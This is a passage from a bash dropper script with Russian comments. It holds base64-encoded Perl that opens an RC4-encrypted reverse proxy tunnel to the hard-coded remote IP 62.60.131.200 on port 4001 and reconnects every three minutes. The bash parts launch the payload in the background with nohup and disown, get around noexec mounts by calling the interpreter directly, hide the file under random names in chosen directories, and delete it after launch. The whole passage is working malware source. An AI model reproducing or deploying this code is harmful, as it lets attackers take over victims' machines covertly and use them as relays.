9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_d3915d07() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KC